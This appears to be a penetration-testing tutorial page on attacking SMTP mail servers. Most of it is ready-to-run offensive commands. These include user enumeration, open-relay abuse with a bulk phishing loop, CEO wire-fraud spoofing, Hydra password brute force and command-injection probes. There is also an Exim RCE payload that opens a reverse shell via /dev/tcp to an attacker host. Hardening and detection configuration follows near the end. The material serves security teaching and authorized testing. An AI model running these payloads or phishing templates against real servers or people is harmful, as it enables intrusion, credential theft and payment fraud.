
SMTP Service Attacks and Exploitation
SMTP exploitation notes covering user enumeration, open relay testing, email spoofing, brute-force authentication and NTLM information disclosure.
Introduction
The Simple Mail Transfer Protocol (SMTP) is the standard protocol for sending email between mail servers. It runs on TCP ports 25, 465 (SMTP over SSL) and 587 (submission), and has carried email since 1982.
SMTP implementations still have a familiar set of weaknesses:
- User enumeration, which reveals valid email addresses and usernames
- Open relay misconfiguration, abused to send spam
- Weak authentication: plain-text credentials and weak passwords
- Email spoofing with forged sender addresses, used for phishing
- Command injection through poorly validated input
- Information disclosure in banners and error messages
Why SMTP is still a problem
The weaknesses come from the protocol's design and from how it is implemented:
- The protocol predates authentication and encryption as design requirements.
- It is plain-text by default, so credentials cross the network unencrypted.
- It originally assumed a trusted network.
- It is specified across many RFCs, and implementations follow them inconsistently.
- Every organization runs mail servers.
- Email is the main delivery channel for social engineering.
- Misconfigured servers get abused for spam and phishing campaigns.
What a tester can get out of an SMTP server:
- User accounts, through password discovery or brute force
- A list of valid internal usernames
- Phishing infrastructure, through an open relay
- Intercepted email, through man-in-the-middle attacks on unencrypted connections
- Privilege escalation, through vulnerable email clients or server components
Technical background
SMTP protocol overview
SMTP uses a simple command-response model:
Connection flow:
- Client opens a TCP connection to server port 25/587/465
- Server sends a greeting banner (220 code)
- Client sends the HELO/EHLO command
- Server responds with capabilities
- Client authenticates (if required)
- Client sends the mail transaction (MAIL FROM, RCPT TO, DATA)
- Server accepts or rejects the message
- Connection closes with the QUIT command
SMTP ports
| Port | Purpose | Encryption | Common use |
|---|---|---|---|
| 25 | SMTP | Plain-text (optional STARTTLS) | Server-to-server communication |
| 465 | SMTPS (submissions) | Implicit SSL/TLS | Mail submission over implicit TLS, once deprecated and reinstated by RFC 8314 |
| 587 | Submission | STARTTLS required | Client-to-server mail submission |
| 2525 | Alternative | STARTTLS available | Alternative submission port |
Core SMTP commands
| Command | Purpose | Example |
|---|---|---|
HELO | Identify client (simple) | HELO mail.example.com |
EHLO | Identify client (extended) | EHLO mail.example.com |
MAIL FROM | Specify sender | MAIL FROM:<user@example.com> |
RCPT TO | Specify recipient | RCPT TO:<target@victim.com> |
DATA | Begin message content | DATA |
VRFY | Verify email address | VRFY admin |
EXPN | Expand mailing list | EXPN staff |
RSET | Reset transaction | RSET |
QUIT | Close connection | QUIT |
STARTTLS | Upgrade to TLS | STARTTLS |
AUTH | Authenticate client | AUTH LOGIN |
SMTP response codes
| Code | Meaning | Explanation |
|---|---|---|
| 220 | Service ready | Server greeting |
| 221 | Service closing | Goodbye message |
| 250 | Requested action completed | Success |
| 354 | Start mail input | Ready for DATA |
| 421 | Service not available | Server closing connection |
| 450 | Mailbox unavailable | Temporary failure |
| 550 | Mailbox unavailable | Permanent failure |
| 551 | User not local | Relaying denied |
| 552 | Exceeded storage | Mailbox full |
| 553 | Mailbox name invalid | Bad recipient |
Enumeration
Banner grabbing and service detection
Basic banner grab
# Using Netcat
nc 10.10.11.45 25
# Using Telnet
telnet 10.10.11.45 25
# Using Nmap
nmap -p 25,465,587 -sV 10.10.11.45
# Grab and disconnect
echo "QUIT" | nc 10.10.11.45 25Example banners:
220 mail.example.com ESMTP Postfix
220 mail.example.com Microsoft ESMTP MAIL Service ready
220 mail.example.com ESMTP Sendmail 8.15.2
220 mail.example.com ESMTP Exim 4.94Extended SMTP enumeration
# Enumerate SMTP capabilities
nc 10.10.11.45 25
EHLO test.com
QUIT
# Automated with Nmap
nmap -p 25 --script smtp-commands 10.10.11.45
nmap -p 25,465,587 --script smtp-enum-users 10.10.11.45EHLO response example:
250-mail.example.com Hello test.com
250-SIZE 52428800
250-PIPELINING
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-AUTH PLAIN LOGIN
250-STARTTLS
250 HELPNmap SMTP script scan
# Comprehensive SMTP scan
nmap -p 25,465,587 -sV --script=smtp-* 10.10.11.45
# Specific useful scripts
nmap -p 25 --script smtp-commands 10.10.11.45
nmap -p 25 --script smtp-open-relay 10.10.11.45
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT} 10.10.11.45
nmap -p 25 --script smtp-ntlm-info 10.10.11.45Useful NSE scripts:
smtp-commands: List available SMTP commandssmtp-enum-users: Enumerate users via VRFY, EXPN, RCPTsmtp-open-relay: Test for open relaysmtp-ntlm-info: Extract Windows domain informationsmtp-brute: Brute-force SMTP AUTHsmtp-vuln-*: Check for known vulnerabilities
User enumeration techniques
VRFY command
The VRFY command verifies whether a mailbox exists:
# Manual enumeration
nc 10.10.11.45 25
VRFY root
VRFY admin
VRFY nonexistent
# Example responses
250 2.1.5 root@mail.example.com
550 5.1.1 User unknownEXPN command
The EXPN command expands mailing lists:
nc 10.10.11.45 25
EXPN staff
EXPN administrators
# Example response
250 2.1.5 <admin@example.com>
250 2.1.5 <manager@example.com>
250 2.1.5 <ceo@example.com>RCPT TO command
Test recipient validity:
nc 10.10.11.45 25
HELO test.com
MAIL FROM:<test@test.com>
RCPT TO:<root@example.com>
# Valid user: 250 2.1.5 OK
# Invalid user: 550 5.1.1 User unknownAutomated user enumeration
# Using smtp-user-enum
smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 10.10.11.45
# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE /usr/share/wordlists/metasploit/unix_users.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > run
# Using Nmap
nmap -p 25 --script smtp-enum-users --script-args smtp-enum-users.methods={VRFY,EXPN,RCPT},smtp-enum-users.domain=example.com 10.10.11.45NTLM information disclosure
Extract Windows domain information from an SMTP server that supports NTLM authentication:
# Using Nmap
nmap -p 25,465,587 --script smtp-ntlm-info 10.10.11.45
# Manual extraction
nc 10.10.11.45 25
EHLO test
AUTH NTLM
334
TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
# Server responds with NTLM challenge containing domain infoInformation leaked:
- NetBIOS domain name
- NetBIOS computer name
- DNS domain name
- DNS computer name
- DNS tree name
- Timestamp
Exploitation techniques
Open relay testing
An open relay lets anyone send email through the server, which makes it useful for spam and phishing.
Manual open relay test
nc 10.10.11.45 25
HELO test.com
MAIL FROM:<attacker@external.com>
RCPT TO:<victim@target.com>
DATA
Subject: Test Email
From: attacker@external.com
To: victim@target.com
This is a test email.
.
QUITOpen relay indicators:
250 OKresponse to an external RCPT TO- Email relayed to an external domain
Automated open relay testing
# Using Nmap
nmap -p 25 --script smtp-open-relay 10.10.11.45
# Using swaks
swaks --to victim@target.com --from attacker@external.com --server 10.10.11.45
# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_relay
msf6 auxiliary(scanner/smtp/smtp_relay) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_relay) > runAbuse open relay
# Send phishing email
swaks --to targets@company.com \
--from ceo@company.com \
--server 10.10.11.45 \
--header "Subject: Urgent: Update Your Credentials" \
--body "Click here: http://evil.com/phish"
# Bulk email campaign
for email in $(cat targets.txt); do
swaks --to $email --from noreply@company.com --server 10.10.11.45 --body "Phishing message"
sleep 5
doneLegal warning
Sending unsolicited email or phishing messages through an open relay is illegal. Use this only for authorized penetration testing and defensive security assessment.
Email spoofing
SMTP does not verify the sender, which allows email spoofing:
# Basic spoofing with Netcat
nc 10.10.11.45 25
HELO mail.example.com
MAIL FROM:<ceo@company.com>
RCPT TO:<employee@company.com>
DATA
From: CEO <ceo@company.com>
To: Employee <employee@company.com>
Subject: Urgent Payment Request
Date: Thu, 30 Oct 2025 10:00:00 -0000
Please wire $50,000 to account...
.
QUIT
# Using swaks
swaks --to employee@company.com \
--from ceo@company.com \
--server 10.10.11.45 \
--header "Subject: Wire Transfer Request" \
--body "Transfer funds immediately..."
# Using sendemail
sendemail -f ceo@company.com \
-t employee@company.com \
-u "Urgent Request" \
-m "Transfer funds..." \
-s 10.10.11.45SPF/DKIM/DMARC bypass:
- Spoof the internal domain if it has no SPF record
- Use similar-looking domains (typosquatting)
- Take over a subdomain that has a valid SPF record
- Send through trusted third-party services
Authentication brute-force
When SMTP AUTH is enabled, test for weak credentials:
# Using Hydra
hydra -l admin@example.com -P /usr/share/wordlists/rockyou.txt smtp://10.10.11.45
# With specific port
hydra -l admin -P passwords.txt -s 587 smtp://10.10.11.45
# Multiple users
hydra -L users.txt -P passwords.txt smtp://10.10.11.45
# Using Metasploit
msfconsole
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 10.10.11.45
msf6 auxiliary(scanner/smtp/smtp_enum) > set USER_FILE users.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > set PASS_FILE passwords.txt
msf6 auxiliary(scanner/smtp/smtp_enum) > runCommand injection
Test for command injection in poorly sanitized SMTP implementations:
# Test in MAIL FROM
MAIL FROM:<user@example.com`whoami`>
# Test in RCPT TO
RCPT TO:<admin@example.com|id>
# Test in message headers
DATA
Subject: Test`id`
From: attacker@test.com
To: victim@example.com
.Known SMTP vulnerabilities
Sendmail debug mode (CVE-1999-0095)
# Using Metasploit
msfconsole
# The module is the Morris worm exploit and targets 1988-era Sendmail on 4.3BSD
msf6 > use exploit/unix/smtp/morris_sendmail_debug
msf6 exploit(unix/smtp/morris_sendmail_debug) > set RHOSTS 10.10.11.45
msf6 exploit(unix/smtp/morris_sendmail_debug) > exploitExim SMTP RCE (CVE-2019-10149)
# Manual exploit
nc 10.10.11.45 25
HELO test
MAIL FROM:<${run{\x2fbin\x2fsh\t-c\t\x22bash\x20-i\x20>%26\x20\x2fdev\x2ftcp\x2f10.10.14.5\x2f4444\x200>%261\x22}}@test.com>
RCPT TO:<root@localhost>
DATA
.
QUITMicrosoft Exchange SSRF (CVE-2021-26855 - ProxyLogon)
Part of the ProxyLogon vulnerability chain against Microsoft Exchange:
# Using Metasploit
msf6 > use exploit/windows/http/exchange_proxylogon_rce
msf6 exploit(windows/http/exchange_proxylogon_rce) > set RHOSTS 10.10.11.45
msf6 exploit(windows/http/exchange_proxylogon_rce) > set EMAIL administrator@example.com
msf6 exploit(windows/http/exchange_proxylogon_rce) > exploitPost-exploitation
Email phishing infrastructure
Use a compromised SMTP server for phishing campaigns:
# Create credential harvester
git clone https://github.com/kgretzky/evilginx2.git
cd evilginx2
./evilginx
# Configure phishing lure
swaks --to employees@company.com \
--from it-support@company.com \
--server 10.10.11.45 \
--header "Subject: Security Update Required" \
--body "Update your credentials: https://phishing-site.com"Internal network mapping
Use user enumeration for internal reconnaissance:
# Enumerate all users
for user in $(cat /usr/share/wordlists/metasploit/unix_users.txt); do
echo "VRFY $user" | nc 10.10.11.45 25 | grep "^250"
done
# Discover naming convention
smtp-user-enum -M VRFY -u admin,administrator,root,sysadmin -t 10.10.11.45
# Build user list for password spraying
./validate_users.sh > valid_users.txtEmail interception
Monitor SMTP traffic for sensitive information:
# Tcpdump on SMTP port
tcpdump -i eth0 -A -s 0 'tcp port 25'
# Wireshark filter
tcp.port == 25 && smtp
# Extract credentials
tcpdump -i eth0 -A -s 0 'tcp port 25 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x41555448)' # AUTH commandDetection and defense
Monitoring SMTP activity
Log analysis:
# Postfix logs
tail -f /var/log/mail.log
grep "authentication failed" /var/log/mail.log
# Sendmail logs
tail -f /var/log/maillog
# Failed authentication attempts
grep "SASL authentication failed" /var/log/mail.log | awk '{print $9}' | sort | uniq -c | sort -n
# Unusual recipient patterns (potential spam)
grep "RCPT TO" /var/log/mail.log | awk '{print $7}' | sort | uniq -c | sort -n
# Monitor for relaying
grep "relay denied" /var/log/mail.logHardening SMTP configuration
Disable user enumeration
Postfix (/etc/postfix/main.cf):
disable_vrfy_command = yes
smtpd_banner = $myhostname ESMTPSendmail (/etc/mail/sendmail.mc):
define(`confPRIVACY_FLAGS', `goaway,noexpn,novrfy')dnlExim (/etc/exim4/exim4.conf.template):
smtp_verify = false
smtp_expn_hosts = localhostConfigure authentication
Postfix SMTP AUTH:
smtpd_sasl_auth_enable = yes
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_security_options = noanonymous
smtpd_sasl_local_domain = $myhostnamePrevent open relay
Postfix:
smtpd_recipient_restrictions =
permit_mynetworks,
permit_sasl_authenticated,
reject_unauth_destination
mynetworks = 127.0.0.0/8, 10.10.10.0/24Sendmail:
FEATURE(`access_db')dnlThen configure /etc/mail/access:
localhost.localdomain RELAY
localhost RELAY
10.10.10 RELAYEnable TLS/SSL
Postfix:
smtpd_tls_cert_file = /etc/ssl/certs/mail.crt
smtpd_tls_key_file = /etc/ssl/private/mail.key
smtpd_tls_security_level = may
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
smtp_tls_mandatory_ciphers = highForce STARTTLS for submission:
submission inet n - y - - smtpd
-o smtpd_tls_security_level=encrypt
-o smtpd_sasl_auth_enable=yesRate limiting
Postfix:
smtpd_client_connection_rate_limit = 10
smtpd_client_message_rate_limit = 20
smtpd_client_recipient_rate_limit = 50
anvil_rate_time_unit = 60sImplement SPF, DKIM, DMARC
SPF Record (DNS TXT):
v=spf1 mx ip4:10.10.11.45 -allDMARC Record (DNS TXT for _dmarc subdomain):
v=DMARC1; p=reject; rua=mailto:dmarc@example.com; ruf=mailto:dmarc@example.com; fo=1DKIM configuration:
# Generate DKIM keys
opendkim-genkey -t -s mail -d example.com
# Add to DNS
# mail._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCS..."Intrusion detection
# Configure fail2ban for SMTP
# /etc/fail2ban/jail.local
[postfix-sasl]
enabled = true
port = smtp,465,587
filter = postfix-sasl
logpath = /var/log/mail.log
maxretry = 3
bantime = 3600
# Create filter /etc/fail2ban/filter.d/postfix-sasl.conf
[Definition]
failregex = : warning: [-._\w]+\[<HOST>\]: SASL (?:LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed
# Restart fail2ban
systemctl restart fail2banReferences
MITRE ATT&CK techniques
- T1071.003 - Application Layer Protocol: Mail Protocols - SMTP for command and control
- T1566 - Phishing - Email-based phishing attacks
- T1566.001 - Spearphishing Attachment - Phishing with malicious attachments
- T1598 - Phishing for Information - Credential harvesting via email
- T1589.002 - Gather Victim Identity Information: Email Addresses - SMTP user enumeration
- T1110 - Brute Force - SMTP authentication brute-force
RFCs and standards
- RFC 5321 - Simple Mail Transfer Protocol - SMTP protocol specification
- RFC 4954 - SMTP Service Extension for Authentication - SMTP AUTH mechanism
- RFC 7208 - Sender Policy Framework (SPF) - SPF record syntax
- RFC 7489 - DMARC - DMARC policy specification
Security resources
- OWASP: Testing for SMTP Injection - SMTP security testing
- DMARC.org - DMARC implementation resources
Vulnerabilities
- CVE-2019-10149 - Exim SMTP RCE - Remote code execution in Exim
- CVE-2021-26855 - Microsoft Exchange ProxyLogon - Exchange SSRF vulnerability
Tools documentation
- swaks - Swiss Army Knife for SMTP testing
- smtp-user-enum - SMTP user enumeration tool
SMB Protocol Security: From Enumeration to Exploitation
SMB protocol attacks covering null sessions, pass-the-hash, forced authentication, relay attacks and SMBGhost exploitation.
SQL Database Service Attacks and Exploitation
Attacking MySQL and MSSQL services, covering authentication attacks, xp_cmdshell, hash stealing, impersonation and linked servers.